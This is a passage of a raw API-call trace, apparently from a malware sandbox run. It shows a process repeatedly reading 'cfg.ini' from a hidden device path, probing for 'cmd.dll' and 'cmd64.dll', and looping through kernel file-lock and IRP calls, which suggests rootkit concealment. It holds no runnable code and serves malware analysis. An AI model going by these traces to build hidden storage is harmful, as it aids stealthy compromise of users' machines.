MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2c000 [0130.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.138] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.138] IdePortDispatch () returned 0x103 [0130.138] KeWaitForMutexObject () returned 0x0 [0130.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.138] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.138] IdePortDispatch () returned 0x103 [0130.138] KeWaitForMutexObject () returned 0x0 [0130.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.139] KeLeaveCriticalRegion () [0130.139] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.139] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.139] KeEnterCriticalRegion () [0130.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.139] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.139] KeLeaveCriticalRegion () [0130.139] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.139] KeEnterCriticalRegion () [0130.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.139] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.139] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.139] KeLeaveCriticalRegion () [0130.139] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.139] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.139] KeEnterCriticalRegion () [0130.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.139] ExFreePoolWithTag (P=0xfffffa8003bfd320, Tag=0x0) [0130.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.139] KeLeaveCriticalRegion () [0130.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.140] ReleaseMutex (hMutex=0xf0) returned 1 [0130.140] Sleep (dwMilliseconds=0x124f80) [0130.155] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.155] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.155] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.155] KeEnterCriticalRegion () [0130.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.155] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.155] IdePortDispatch () returned 0x103 [0130.155] KeWaitForMutexObject () returned 0x0 [0130.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.155] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.155] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.155] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.156] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.156] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd320 [0130.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.156] KeLeaveCriticalRegion () [0130.156] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.156] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.156] KeEnterCriticalRegion () [0130.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.156] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.156] KeLeaveCriticalRegion () [0130.156] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.156] KeEnterCriticalRegion () [0130.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.156] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.156] IdePortDispatch () returned 0x103 [0130.156] KeWaitForMutexObject () returned 0x0 [0130.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.156] KeLeaveCriticalRegion () [0130.156] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.156] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.156] KeEnterCriticalRegion () [0130.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d31000 [0130.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.157] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.157] IdePortDispatch () returned 0x103 [0130.157] KeWaitForMutexObject () returned 0x0 [0130.157] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.157] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.157] IdePortDispatch () returned 0x103 [0130.157] KeWaitForMutexObject () returned 0x0 [0130.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.157] KeLeaveCriticalRegion () [0130.157] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.158] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.158] KeEnterCriticalRegion () [0130.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.158] KeLeaveCriticalRegion () [0130.158] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.158] KeEnterCriticalRegion () [0130.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.158] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.158] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.158] KeLeaveCriticalRegion () [0130.158] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.158] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.158] KeEnterCriticalRegion () [0130.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.158] ExFreePoolWithTag (P=0xfffffa8003bfd320, Tag=0x0) [0130.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.158] KeLeaveCriticalRegion () [0130.158] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.158] ReleaseMutex (hMutex=0xf0) returned 1 [0130.158] Sleep (dwMilliseconds=0x124f80) [0130.173] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.173] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.174] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.174] KeEnterCriticalRegion () [0130.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.174] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.174] IdePortDispatch () returned 0x103 [0130.175] KeWaitForMutexObject () returned 0x0 [0130.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.175] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.175] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.175] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.175] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.175] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08280 [0130.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.175] KeLeaveCriticalRegion () [0130.175] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.175] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.175] KeEnterCriticalRegion () [0130.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.175] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.175] KeLeaveCriticalRegion () [0130.175] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.175] KeEnterCriticalRegion () [0130.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.175] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.175] IdePortDispatch () returned 0x103 [0130.175] KeWaitForMutexObject () returned 0x0 [0130.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.176] KeLeaveCriticalRegion () [0130.176] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.176] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.176] KeEnterCriticalRegion () [0130.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d36000 [0130.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.176] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.176] IdePortDispatch () returned 0x103 [0130.176] KeWaitForMutexObject () returned 0x0 [0130.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.176] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.176] IdePortDispatch () returned 0x103 [0130.177] KeWaitForMutexObject () returned 0x0 [0130.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.177] KeLeaveCriticalRegion () [0130.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.177] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.177] KeEnterCriticalRegion () [0130.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.177] KeLeaveCriticalRegion () [0130.177] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.177] KeEnterCriticalRegion () [0130.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.177] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.177] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.177] KeLeaveCriticalRegion () [0130.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.177] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.177] KeEnterCriticalRegion () [0130.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.178] ExFreePoolWithTag (P=0xfffffa8003c08280, Tag=0x0) [0130.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.178] KeLeaveCriticalRegion () [0130.178] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.178] ReleaseMutex (hMutex=0xf0) returned 1 [0130.178] Sleep (dwMilliseconds=0x124f80) [0130.193] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.193] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.193] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.193] KeEnterCriticalRegion () [0130.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.193] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.193] IdePortDispatch () returned 0x103 [0130.193] KeWaitForMutexObject () returned 0x0 [0130.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.193] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.193] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.193] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.193] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.193] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07180 [0130.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.193] KeLeaveCriticalRegion () [0130.193] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.193] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.193] KeEnterCriticalRegion () [0130.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.194] KeLeaveCriticalRegion () [0130.194] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.194] KeEnterCriticalRegion () [0130.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.194] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.194] IdePortDispatch () returned 0x103 [0130.194] KeWaitForMutexObject () returned 0x0 [0130.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.194] KeLeaveCriticalRegion () [0130.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.194] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.194] KeEnterCriticalRegion () [0130.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d3b000 [0130.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.194] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.194] IdePortDispatch () returned 0x103 [0130.194] KeWaitForMutexObject () returned 0x0 [0130.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.195] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.195] IdePortDispatch () returned 0x103 [0130.195] KeWaitForMutexObject () returned 0x0 [0130.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.195] KeLeaveCriticalRegion () [0130.195] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.195] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.195] KeEnterCriticalRegion () [0130.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.195] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.196] KeLeaveCriticalRegion () [0130.196] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.196] KeEnterCriticalRegion () [0130.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.196] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, 